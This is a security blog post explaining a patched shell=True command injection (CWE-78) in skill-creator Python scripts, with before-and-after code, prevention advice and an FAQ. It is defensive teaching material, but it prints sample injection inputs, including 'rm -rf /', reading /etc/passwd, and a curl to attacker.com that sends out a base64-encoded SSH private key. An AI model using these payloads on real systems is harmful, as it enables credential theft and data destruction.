Back to Blog
critical SEVERITY8 min read

Command Injection via shell=True: How One Flag Opens the Door to OS Takeover

A critical command injection vulnerability (CWE-78) was discovered and patched in the skill-creator pipeline, where Python scripts passed unsanitized user input directly to subprocess calls with `shell=True`, allowing attackers to execute arbitrary operating system commands. This fix closes a dangerous attack vector that could have enabled full system compromise, data exfiltration, and lateral movement within affected environments. Understanding how this vulnerability works β€” and how to prevent

O
By Orbis AppSec
β€’Published May 9, 2026β€’Reviewed June 3, 2026

Answer Summary

Command injection (CWE-78) in Python occurs when unsanitized user input is passed to subprocess calls with `shell=True`, allowing attackers to inject arbitrary OS commands. The skill-creator pipeline was vulnerable because it directly concatenated user input into shell commands without validation. The fix removes `shell=True` and uses a list-based argument structure, which prevents shell metacharacter interpretation and ensures user input is treated as data, not executable code.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixRemove shell=True and use list-based argument passing with proper input validation
riskRemote Code Execution, system compromise, data exfiltration, lateral movement
languagePython
root causePassing unsanitized user input to subprocess with shell=True enabled
vulnerabilityCommand Injection via shell=True

Command Injection via shell=True: How One Flag Opens the Door to OS Takeover

Vulnerability: CWE-78 β€” OS Command Injection
Severity: πŸ”΄ Critical
Affected Files: run_eval.py, improve_description.py, generate_review.py
Status: βœ… Patched


Introduction

There's a deceptively innocent-looking parameter in Python's subprocess module that has been responsible for countless critical security vulnerabilities: shell=True. When combined with user-supplied input, this single flag can transform a routine script execution into a full operating system takeover.

This post breaks down a recently patched critical vulnerability found in the skill-creator pipeline β€” a real-world example of how shell=True and unsanitized input create a perfect storm for command injection attacks. Whether you're a seasoned backend engineer or a developer just getting started with Python scripting, understanding this class of vulnerability is non-negotiable in today's threat landscape.


The Vulnerability Explained

What Is Command Injection?

OS Command Injection (CWE-78) occurs when an application passes user-controlled data to a system shell without proper sanitization. The shell β€” whether bash, sh, cmd.exe, or others β€” interprets special characters as control operators, not as literal data. This means an attacker can "break out" of the intended command and inject their own.

In Python, the danger zone looks like this:

# ❌ VULNERABLE: shell=True with user input
import subprocess

user_input = request.args.get("skill_name")
subprocess.Popen(f"run_eval --skill {user_input}", shell=True)

When shell=True is set, Python hands the entire string to the operating system shell for interpretation. The shell doesn't know or care which parts were "intended" by the developer β€” it processes everything according to its own syntax rules.

How Does the Shell Interpret Special Characters?

The OS shell recognizes a variety of characters as command operators:

Character Shell Meaning Example Attack
; Command separator skill; rm -rf /
\| Pipe output to next command skill \| curl attacker.com
&& Run next if previous succeeds skill && cat /etc/passwd
\|\| Run next if previous fails skill \|\| whoami
` Command substitution skill`id`
$() Command substitution skill$(cat ~/.ssh/id_rsa)
> Redirect output skill > /tmp/backdoor.sh

The Vulnerable Code Pattern

In the skill-creator pipeline, three scripts were identified as invoking subprocess.Popen or subprocess.run with shell=True while incorporating user-supplied CLI arguments directly into the command string:

# ❌ VULNERABLE pattern (simplified illustration)
import subprocess
import sys

skill_path = sys.argv[1]  # User-controlled input from CLI argument

# The entire string is passed to the shell β€” shell=True is the culprit
result = subprocess.Popen(
    f"python evaluate.py --input {skill_path}",
    shell=True,
    stdout=subprocess.PIPE
)

This pattern appeared across:
- resources/skills/skill-creator/scripts/run_eval.py (line 85)
- resources/skills/skill-creator/scripts/improve_description.py
- resources/skills/skill-creator/eval-viewer/generate_review.py

A Concrete Attack Scenario

Let's make this tangible. Imagine a developer runs the skill evaluation pipeline and the skill_path argument is sourced from an external input β€” a config file, an API response, a web form, or even a crafted filename:

Normal input:

/home/user/skills/my_skill

Malicious input:

/home/user/skills/my_skill; curl -s https://attacker.com/exfil?data=$(cat ~/.ssh/id_rsa | base64) &

The shell now executes two commands:
1. python evaluate.py --input /home/user/skills/my_skill ← intended
2. curl -s https://attacker.com/exfil?data=<base64-encoded SSH private key> ← injected

In a CI/CD pipeline or automated evaluation environment, this could lead to:

  • πŸ”‘ Credential theft β€” SSH keys, API tokens, environment variables
  • πŸ—‚οΈ Data exfiltration β€” source code, model weights, proprietary datasets
  • πŸšͺ Backdoor installation β€” persistent access via reverse shells
  • πŸ’£ Destructive actions β€” file deletion, service disruption
  • 🌐 Lateral movement β€” pivoting to other systems on the network

The impact is classified as Critical because successful exploitation grants the attacker the same OS-level privileges as the process running the script β€” with no authentication required beyond the ability to influence the input.


The Fix

The Core Principle: Never Use shell=True with User Input

The fix involves two complementary changes:

  1. Remove shell=True β€” pass commands as a list instead of a string
  2. Validate and sanitize inputs β€” never trust external data

Before vs. After

❌ Before (Vulnerable):

import subprocess
import sys

skill_path = sys.argv[1]

# shell=True interprets the entire string through the OS shell
result = subprocess.Popen(
    f"python evaluate.py --input {skill_path}",
    shell=True,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE
)

βœ… After (Fixed):

import subprocess
import sys
import shlex
import os

skill_path = sys.argv[1]

# Validate the input before use
if not os.path.exists(skill_path):
    raise ValueError(f"Invalid skill path: {skill_path}")

# Pass as a list β€” no shell interpretation, no injection possible
result = subprocess.Popen(
    ["python", "evaluate.py", "--input", skill_path],
    shell=False,  # explicit is better than implicit
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE
)

Why Does the List Form Prevent Injection?

When you pass a list to subprocess.Popen (without shell=True), Python uses execvp (on Unix) or CreateProcess (on Windows) to launch the process directly. Each list element becomes a discrete argument β€” the OS never invokes a shell to interpret the string.

This means special characters like ;, |, and $() are passed literally to the target program as part of an argument value. They have no special meaning. The attack surface disappears entirely.

# These are equivalent in intent, but VERY different in security:

# ❌ Shell interprets the string β€” injection possible
subprocess.run(f"echo {user_input}", shell=True)

# βœ… OS passes arguments directly β€” injection impossible
subprocess.run(["echo", user_input], shell=False)

When shell=True Is Genuinely Needed

Occasionally, shell features like glob expansion (*.txt), shell built-ins (cd, export), or pipe chaining are legitimately required. In those cases:

import shlex

# shlex.quote() wraps the value in single quotes and escapes internal quotes
safe_input = shlex.quote(user_input)
subprocess.run(f"some_command {safe_input}", shell=True)

However, shlex.quote() should be considered a last resort, not a first line of defense. Eliminating shell=True is always the preferred approach.


Prevention & Best Practices

1. Default to List-Form Subprocess Calls

Make it a team convention: subprocess calls always use list arguments unless there's a documented, reviewed reason to do otherwise.

# Establish this as your team's standard pattern
subprocess.run(["command", "arg1", "arg2", user_input], check=True)

2. Validate Inputs Before Processing

Apply allowlist validation to any input that will be used in a subprocess call:

import re
import os

def validate_skill_path(path: str) -> str:
    """Validate that a skill path is safe to use."""
    # Allowlist: only alphanumerics, hyphens, underscores, slashes, dots
    if not re.match(r'^[a-zA-Z0-9/_\-\.]+$', path):
        raise ValueError(f"Skill path contains invalid characters: {path}")

    # Ensure the path exists and is within the expected directory
    abs_path = os.path.realpath(path)
    allowed_base = os.path.realpath("/app/skills")
    if not abs_path.startswith(allowed_base):
        raise ValueError("Path traversal detected")

    return abs_path

3. Apply the Principle of Least Privilege

Run scripts with the minimum permissions required. A command injection in a low-privilege process is far less damaging than one running as root or with broad cloud IAM permissions.

# Run evaluation scripts as a dedicated, restricted user
sudo -u skill-evaluator python run_eval.py --input "$SKILL_PATH"

4. Use Static Analysis Tools

Integrate security scanners into your CI/CD pipeline to catch these patterns automatically:

  • Bandit β€” Python-specific security linter; detects shell=True usage (rule B602, B603)
  • Semgrep β€” Highly customizable static analysis with rules for subprocess injection
  • CodeQL β€” GitHub's semantic code analysis engine
  • Safety β€” Checks Python dependencies for known vulnerabilities
# Example: Bandit in GitHub Actions
- name: Run Bandit Security Scan
  run: |
    pip install bandit
    bandit -r . -ll --skip B101 -f json -o bandit-report.json

5. Code Review Checklist

Add these questions to your security-focused code review checklist:

  • [ ] Does this code call subprocess with shell=True?
  • [ ] Does any subprocess argument originate from user input, environment variables, or external data sources?
  • [ ] Is input validated against an allowlist before use?
  • [ ] Does the process run with the minimum required privileges?

6. Relevant Security Standards

This vulnerability maps to well-established security standards:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • OWASP A03:2021: Injection (consistently in the OWASP Top 10)
  • OWASP Testing Guide: WSTG-INPV-12 β€” Testing for Command Injection
  • NIST SP 800-53: SI-10 β€” Information Input Validation

Conclusion

The shell=True vulnerability pattern is a textbook example of how a single, seemingly convenient parameter can introduce catastrophic security risk. The fix is straightforward β€” switch from string-based to list-based subprocess calls β€” but the lesson runs deeper: never trust user input, and always understand the security implications of the APIs you use.

Key takeaways from this vulnerability:

  1. shell=True + user input = command injection. This is one of the most reliable rules in application security.
  2. The fix is simple but the impact of not fixing it is severe β€” Critical-severity vulnerabilities like this can lead to full system compromise.
  3. Defense in depth matters β€” Input validation, least privilege, and static analysis together create multiple layers of protection.
  4. Automated scanning catches what code review misses β€” Integrate tools like Bandit and Semgrep into your pipeline before code ships.

Security vulnerabilities like this one are rarely the result of malicious intent β€” they're the product of convenience, time pressure, and incomplete understanding of a platform's security model. The best defense is education, tooling, and a culture that treats security as a first-class concern alongside functionality and performance.

Write safe code. Review with security in mind. And when in doubt, check the docs for the security implications of every parameter you set.


This post was generated as part of an automated security fix workflow by OrbisAI Security. The vulnerability was identified by multi-agent AI scanning, patched, and verified through re-scan and LLM code review.

Have a vulnerability you'd like explained? Security education is the first line of defense.

Frequently Asked Questions

What is command injection?

Command injection is a vulnerability where an attacker can execute arbitrary operating system commands by injecting malicious input into a subprocess call. In Python, using `shell=True` makes this possible because the shell interprets special characters like `;`, `|`, `&&`, and backticks as command separators and operators.

How do you prevent command injection in Python?

Never use `shell=True` in subprocess calls with user-controlled input. Instead, pass arguments as a list to `subprocess.run()`, `subprocess.Popen()`, or similar functions. Additionally, validate and sanitize all user input using allowlists, and consider using safer alternatives like `shlex.quote()` when shell=True is absolutely necessary.

What CWE is command injection?

Command injection is classified as CWE-78: "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')". This is one of the most critical vulnerability types in the OWASP Top 10 and CWE Top 25.

Is input validation enough to prevent command injection?

Input validation alone is not sufficient if you still use `shell=True`. The most effective prevention is to avoid the shell entirely by passing arguments as a list. If shell=True is required, combine it with strict allowlist validation and `shlex.quote()` for each argument.

Can static analysis detect command injection?

Yes, static analysis tools like Semgrep, Bandit, and commercial SAST solutions can detect command injection vulnerabilities by identifying subprocess calls with `shell=True` and unsanitized user input. However, detecting the data flow accurately requires sophisticated taint analysis.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #14842

Related Articles

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration vulnerability was discovered in a `.github/dependabot.yml` file that lacked a cooldown period for package updates. Without this safeguard, Dependabot could immediately propose updates to newly published package versionsβ€”including potentially malicious or unstable releases. The fix adds a simple `cooldown` block with a 7-day waiting period before any new package version is suggested.

high

How Server-Sent Events Injection via Unsanitized Newlines happens in Node.js h3 and how to fix it

A high-severity Server-Sent Events (SSE) injection vulnerability (CVE-2026-33128) was discovered in the h3 HTTP framework, where unsanitized newline characters in event stream fields could allow attackers to inject arbitrary SSE messages. The fix upgrades h3 from version 1.15.5 to 1.15.6 in the frontend's dependency tree, ensuring that newline characters are properly sanitized before being written to event streams.

high

How Memory Exhaustion via Large Comma-Separated Selector Lists happens in Python Soup Sieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in Soup Sieve version 2.8.3, affecting Python applications that parse CSS selectors from user-controlled input. The vulnerability allows attackers to craft malicious selector lists that consume excessive memory, potentially causing denial of service. The fix involves upgrading to soupsieve 2.8.4, which implements proper resource limits on selector parsing.

high

How prototype pollution via `__proto__` key happens in Node.js defu and how to fix it

A high-severity prototype pollution vulnerability (CVE-2026-35209) was discovered in the `defu` package version 6.1.4, which allowed attackers to inject properties into JavaScript's `Object.prototype` via the `__proto__` key in defaults arguments. The fix upgrades `defu` to version 6.1.5 in the frontend's dependency tree, protecting downstream consumers like `c12` and `dotenv` configuration loaders from malicious property injection.

critical

How buffer overflow in memcpy() happens in Node.js N-API bindings and how to fix it

A critical buffer overflow vulnerability was discovered in the GetBufferAsVector() function in examples_nodejs/src/zupt_napi.cpp, where memcpy() copied data from JavaScript Uint8Array buffers without proper bounds validation. This vulnerability could allow attackers to trigger memory corruption by providing maliciously crafted input arrays to the native Node.js module, potentially leading to crashes or arbitrary code execution.

high

How memory exhaustion via large comma-separated selector lists happens in Python soupsieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in soupsieve 2.8.3, a CSS selector library used by BeautifulSoup in Python. An attacker who could influence CSS selector input could craft large comma-separated selector lists to exhaust system memory, causing denial of service. The fix upgrades soupsieve from 2.8.3 to 2.8.4 in the backend's `uv.lock` dependency file.